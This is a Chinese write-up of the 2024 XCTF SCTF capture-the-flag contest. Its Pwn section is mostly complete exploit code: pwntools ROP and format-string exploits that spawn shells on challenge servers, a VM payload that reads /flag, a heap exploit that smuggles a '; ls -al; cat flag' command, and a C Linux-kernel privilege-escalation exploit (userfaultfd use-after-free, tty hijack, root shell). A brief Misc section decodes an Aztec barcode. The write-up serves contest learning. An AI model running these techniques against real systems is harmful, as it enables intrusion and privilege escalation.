2024 XCTF 联赛 SCTF 题解

大家都冇咁搏命啦,唞吓啦!祝各位师傅国庆节快乐~

Pwn

kno_puts

非预期,写 /sbin/poweroff 即可


factory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
tob = lambda x: str(x).encode()
sh = process("./factory")
#context.log_level = 'debug'

#gdb.attach(sh)
sh = remote('1.95.81.93', 57777)
sh.sendlineafter(b'build: ', b'22')
for i in range(1, 14):
sh.recvuntil('factory{}'.format(i).encode())
if i == 13:
sh.sendline(b'17')
else:
sh.sendline(tob(0x4141414141414141))

rbp = 0x00000000004040B0+0x500
ret = 0x0000000000401247
pop_rdi_ret = 0x0000000000401563

sh.sendlineafter(b'factory19', tob(rbp))
sh.sendlineafter(b'factory20', tob(pop_rdi_ret))
sh.sendlineafter(b'factory21', tob(0x0000000000404018))
sh.sendlineafter(b'factory22', tob(0x00000000004014AD))

sh.recvuntil('are')
sh.recvuntil(b'\n', drop=True)
libcbase = u64(sh.recv(6).ljust(8, b'\x00'))-0x84420
libc = ELF("./libc.so.6")
log.success('libcbase: ' + hex(libcbase))
sh.sendline(b'22')

for i in range(1, 14):
sh.recvuntil('factory{}'.format(i).encode())
if i == 13:
sh.sendline(b'17')
else:
sh.sendline(tob(0x4141414141414141))

rbp = 0x00000000004040B0+0x500
ret = 0x0000000000401247
pop_rdi_ret = 0x0000000000401563

sh.sendlineafter(b'factory19', tob(rbp))
sh.sendlineafter(b'factory20', tob(pop_rdi_ret))
sh.sendlineafter(b'factory21', tob(libcbase+libc.search(b'/bin/sh').__next__()))
sh.sendlineafter(b'factory22', tob(libcbase+0xe3b01))

sh.interactive()

GoCompiler

栈上构造一些栈指针,格式化字符串一把梭!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package main

func wrap(tmp string) string {
return tmp
}

func aaa() string {
var a []string = []string{"hellohellohellohellohellohello"}
return &a[0]
}

func bbb() string {
var a []string = []string{"deadbeef"}
var b int = aaa()
a[0] = b
return &a[0]
}


func shell() int {
var a int = -0x4eadbeaf
a = -0x4eefdead
a = -0x11223344
a = -0x44332211
return a
a = -0x11223344
return a
}

func attack() int {

var a string = "11"
printf("%1$p/bin/sh", a)

printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)
printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a)
printf("/bin/sh && aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a)


return 0;
}

func up() int {
var a string = "11"
attack()
return 0
}

func fff() int {
aaa()
var a []string = []string{"deadbeef"}
var d []string = []string{"deadbeef"}
var b int = bbb()
d[0] = b
a[0] = d
attack()

return 0
}

func main() int {
fff()
return 0
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

with open("./hello.ugo", "rb") as f:
data = f.read()

pop_rdi = 0x000000000040212f
pop_rsi = 0x000000000040a19e
pop_rdx_rbx = 0x0000000000485b4b
read_addr = 0x44f360
syscall_ret = 0x000000000041a886
pop_rax = 0x000000000044fdc7
binsh = 0x4c6240
magic = 0x452535

def pwn():
try:
# io = remote("127.0.0.1", 2102)
io = remote("1.95.58.58", 2102)

io.sendlineafter(b'input "end" to stop', data)
io.sendline(b"end")

io.recvuntil(b"/bin/sh && aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

res = io.recvuntil(b"===== cleaning", timeout=1)
if res.endswith(b"===== cleaning"):
io.close()
return
pause()
payload = flat({
0x68: [
pop_rax, u64(b"/bin/sh\0"),
pop_rsi, binsh,
magic,
pop_rdi, binsh,
pop_rsi, 0,
pop_rdx_rbx, 0, 0,
pop_rax, 59,
syscall_ret
]
})
io.sendline(payload)

except EOFError:
io.close()
return

io.interactive()

for i in range(10):
pwn()

vmCode

看到 VM 就是逆逆逆逆逆逆逆逆逆逆逆逆,然后就是调试调调调调调调调调,最后就是 ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

"""
opcode addr
0x0021 0x1274 call
0x0022 0x1299 ret
0x0023 0x12a7 xor
0x0024 0x12c4 swap02 st[0], st[2] = st[2], st[0]
0x0025 0x12e0 swap01 st[0], st[1] = st[1], st[0]
0x0026 0x12fc push imm
0x0027 0x1319 extand byte -> qword
0x0028 0x132e pop (do nothing)
0x0029 0x1332 shr st[0], 8
0x002a 0x1348 dup st[0]
0x002b 0x135c shl st[0], 8
0x002c 0x1372 Jmp si+code[rsi:rsi+2] if st[0] != 0
0x002d 0x13a3 ror st[0], st[1]
0x002e 0x13c0 rol st[0], st[1]
0x002f 0x13dd and st[0], st[1]
0x0030 0x13fa syscall(st[0], st[1], st[2], st[3])
0x0031 0x1425 push sp
0x0032 0x1439 push ip
0x0033 0x1452 exit
"""

def call(offset):
return p8(0x21) + p16(offset)

def ret():
return p8(0x22)

def xor():
return p8(0x23)

def swap02():
return p8(0x24)

def swap01():
return p8(0x25)

def push_imm(imm):
return p8(0x26) + p32(imm)

def extand_byte():
return p8(0x27)

def pop():
return p8(0x28)

def shr():
return p8(0x29)

def dup():
return p8(0x2a)

def shl():
return p8(0x2b)

def jmp(offset):
return p8(0x2c) + p16(offset)

def ror():
return p8(0x2d)

def rol():
return p8(0x2e)

def and_():
return p8(0x2f)

def syscall():
return p8(0x30)

def push_sp():
return p8(0x31)

def push_ip():
return p8(0x32)

def exit_():
return p8(0x33)

# io = process("./pwn")

io = remote("1.95.68.23", 58924)
# gdb.attach(io, api=True,
# gdbscript=
# """
# b *$rebase(0x001417)
# c
# """)

# gdb.attach(io)

payload = flat([
# open("/flag", 0)
push_imm(0x67616c66), # "/flag"
push_sp(),
push_imm(0x0),
swap01(),
push_imm(0x2),
syscall(),
# read(3, buf, 0x100)
push_imm(0x100),
push_sp(),
shr(),
shl(),


push_imm(0x3),
push_imm(0x0),
syscall(),
# write(1, buf, 0x100)
push_imm(0x100),
push_sp(),
shr(),
shl(),


push_imm(0x1),
push_imm(0x1),
syscall(),
])
io.sendline(payload)

io.interactive()

c_or_go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
import sys

sh = process('./c_or_go')
context.terminal = ['tmux', 'splitw', '-h']
tob = lambda x: str(x).encode()
sh = remote('1.95.70.149', 80)

#context.log_level = 'debug'
if len(sys.argv) > 1:
context.log_level = 'debug'

template = '"task_type": {}, "Content": "{}", "Username": "{}", "Size": {}'

b64 = lambda x: base64.b64encode(x).decode()

def add_user(data_arr):
payload = ''
for i in range(len(data_arr)):
c = data_arr[i][1]
name = data_arr[i][0]
size = data_arr[i][2]
p = template.format(0, b64(c), b64(name), size)
p = '{' + p + '}'
if i != len(data_arr)-1:
p += ','
payload += p
payload = '[' + payload + ']'
sh.sendlineafter(b'tasks\n', payload.encode())

def show_user(data_arr):
payload = ''
for i in range(len(data_arr)):
c = b''
name = data_arr[i][0]
size = 0
p = template.format(1, b64(c), b64(name), size)
p = '{' + p + '}'
print(p)
if i != len(data_arr)-1:
p += ','
payload += p
payload = '[' + payload + ']'
sh.sendlineafter(b'tasks\n', payload.encode())

def delete_user(data_arr):
payload = ''
for i in range(len(data_arr)):
c = b''
name = data_arr[i][0]
size = 0
p = template.format(2, b64(c), b64(name), size)
p = '{' + p + '}'
if i != len(data_arr)-1:
p += ','
payload += p
payload = '[' + payload + ']'
sh.sendlineafter(b'tasks\n', payload.encode())

def release_shit():
sh.sendlineafter(b'tasks\n', b'[')

for i in range(1, 0xa):
add_user([[b'f'*0xe0+b'fuck_user_'+tob(i), b'w', 100]])

release_shit()
log.info("release shit")

pause()

show_user([[b'f'*0xe0+b'fuck_user_1']])
sh.recvuntil(b'user content:\n\n')
heap = u64(sh.recv(8)) & 0xffffff000

log.success("heap: "+hex(heap))

delete_user([[b'f'*0xe0+b'fuck_user_1']])

add_user([[b'shit', p64(0x613b28), 100]])

add_user([[b'shit2', b'AAAAAAAA', 100]])
pause()

log.info("ready to overwrite user_controller?")
pause()

add_user([
[b'a'*0xa0+p64(0x4141414141414141)+p64(0x5e1018)+b'a'*8+p64(1)*2+p64(0x613a30)*10,
p64(0)+p64(0x613a50)+p64(0)+p64(0x5e10a8)+p32(1)+p32(0x50),
0x60]
])

log.info("leak?")
pause()
show_user([[b'\x00\x00\x00\x00']])

sh.recvuntil(b'user content:\n\n')
libcbase = u64(sh.recv(8))-0x9bb10
log.success("libcbase: "+hex(libcbase))

key = libcbase+0x84420
key = hex(key)
key = key.encode()

payload = template.format(-1, b64(b'; ls -al; cat flag'), b64(key+b'\x00'), 0)
payload = '[{'+payload+'}]'
sh.sendlineafter(b'tasks\n', payload)

sh.interactive()

kno_puts revenge

程序没有上锁,用 userfaultfd 卡在 copy from user,然后 kfree 后就会出现 uaf,然后修改 tty 栈迁移到 pt_regs 上即可

前面的随机数绕过可以赌随机数的第一位为,然后爆破绕过

Kernel base 地址泄露参考:https://qanux.github.io/2024/04/17/notes/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

size_t modprobe_path = 0xffffffff824493c0;
size_t heap_addr = 0;
size_t work_for_cpu_fn = 0xffffffff810bd960;
size_t init_creds = 0xffffffff82c6b920;
size_t commit_creds = 0xffffffff810ce710;
size_t fake_ops_addr = 0;
size_t orignal[0x30];
size_t leak, kernel_base;
size_t gadget = 0xffffffff817d1e76;
size_t pop_rdi;
size_t add_rsp_188_pop_rbx_ret;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a74;

struct node{
char *msg;
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
uint64_t e;
};
struct node vuln;

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
heap_addr = *(size_t*)vuln.e;
hexx("heap_addr", heap_addr);
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

sem_t sem_write, sem_free;
size_t payload[0x100];
int tty_fd;

size_t uffd_buf[0x200];
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

void hijack_handler(void *args){
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;

for (;;){
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1)
err_exit("Failed to exec poll for leak_handler");

int res = read(uffd, &msg, sizeof(msg));
if (res == 0)
err_exit("EOF on userfaultfd for leak_handler");
if (res == -1)
err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("INCORRET EVENT in leak_handler");
// operation
info("hijack the kernel in userfaultfd -- hijack_handler");
del();

tty_fd = open("/dev/ptmx", O_RDWR);
uffd_buf[0] = 0x100005401;
uffd_buf[1] = 0;
uffd_buf[2] = kernel_base + 0x13e8030 - 0x60;
uffd_buf[3] = fake_ops_addr + 0x40;
uffd_buf[4] = commit_creds;
uffd_buf[5] = init_creds;
uffd_buf[7] = add_rsp_188_pop_rbx_ret;
hexx("uffd_buf[0]", uffd_buf[0]);
hexx("uffd_buf[1]", uffd_buf[1]);
hexx("uffd_buf[2]", uffd_buf[2]);
hexx("uffd_buf[3]", uffd_buf[3]);
hexx("uffd_buf[4]", uffd_buf[4]);
hexx("uffd_buf[5]", uffd_buf[5]);

uffdio_copy.src = uffd_buf;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}

void get_root_shell(void){
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
size_t get_root_func = (size_t)get_root_shell;

int main(int argc, char** argv, char** env)
{
char data[0x200];

bind_core(0);
save_status();

fd = open("/dev/ksctf",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

int note_fd = open("/sys/kernel/notes", O_RDONLY);
read(note_fd, data, 0x100);
binary_dump("/sys/kernel/notes", data, 0x100);

memcpy(&leak, &data[0x84], 8);
hexx("leak", leak);
kernel_base = leak - 0x19e1180;
hexx("kernel_base", kernel_base);
size_t kernel_offset = kernel_base - 0xffffffff81000000;
hexx("kernel_offset", kernel_offset);

modprobe_path += kernel_offset;
hexx("modprobe_path", modprobe_path);

vuln.msg = (char*)malloc(0x30);
memset(vuln.msg, '\x00', 0x30);

work_for_cpu_fn = kernel_base + 0x8c360;
init_creds = kernel_base + 0x1448cc0;
commit_creds = kernel_base + 0x97d00;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 35;
hexx("commit_creds", commit_creds);
hexx("work_for_cpu_fn", work_for_cpu_fn);
hexx("swapgs_restore_regs_and_return_to_usermode", swapgs_restore_regs_and_return_to_usermode);

pop_rdi = kernel_base + 0xe031;
add_rsp_188_pop_rbx_ret = kernel_base + 0x9369cc;
hexx("add_rsp_188_pop_rbx_ret",add_rsp_188_pop_rbx_ret);

add();
fake_ops_addr = heap_addr - 0x68;
hexx("fake_ops_addr", fake_ops_addr);

pthread_t pwn;
char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);

orignal[0] = 0x100005401;
orignal[1] = 0;
orignal[2] = heap_addr - 0x2a5540;
orignal[3] = kernel_base + 0x1073e00;
orignal[4] = 0;
orignal[5] = 0;
orignal[6] = 0;

write(fd,uffd_buf_hijack,0x40);

__asm__(
"mov r15, pop_rdi;"
"mov r14, init_creds;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rbp, 0;"
"mov rbx, 0;"
"mov r11, user_cs;"
"mov r10, user_rflags;"
"mov r9, user_sp;"
"mov r8, user_ss;"
"xor rax, 16;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 0xfffffe0000010f58;"
"mov rsi, 0xfffffe0000010f58;"
"mov rdi, tty_fd;"
"syscall"
);

hexx("UID", getuid());
system("/bin/sh");
puts("[+] EXP END.");
return 0;
}

Misc

Fixit

写个 html 显示一下 css 的渲染:

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<style>
</style>
</head>
<body>
<div class="pixel-wrap">
<div class="pixel"></div>
</div>
</body>
</html>

把 css 的宽改成 3,渲染出来一个:

谷歌识图一下,是 ATZEC🐎,换几个网站,这个比较好用:

https://products.fileformat.app/barcode/recognize/aztec#google_vignette

SCTF{W3lcomeToM1scW0rld}


easyMCU

纯纯固件逆向题,谁把它丢 Misc 里的,这也能放错方向的。。

由开发板照片可知型号是 SAK-TC275TP-64F200W DC,指令集架构是 TriCore。Ghidra 有对应于 TriCore 的反编译器。

由截图可知密文是 32 字节 63 D4 DD 72 B0 8C AE 31 8C 33 03 22 03 1C E4 D3 C3 E3 54 B2 1D EB EB 9D 45 B1 BE 86 CD E9 93 D8,既然题目丢 Misc 里了,根据刻板印象,给个截图有可能是因为右边的参数暗藏玄机,结果没有,出题人还是善良的。

固件文件是 s19 (SRec) 格式,可以在 GitHub 上找到项目把它转为 ELF,然后丢进 Ghidra。

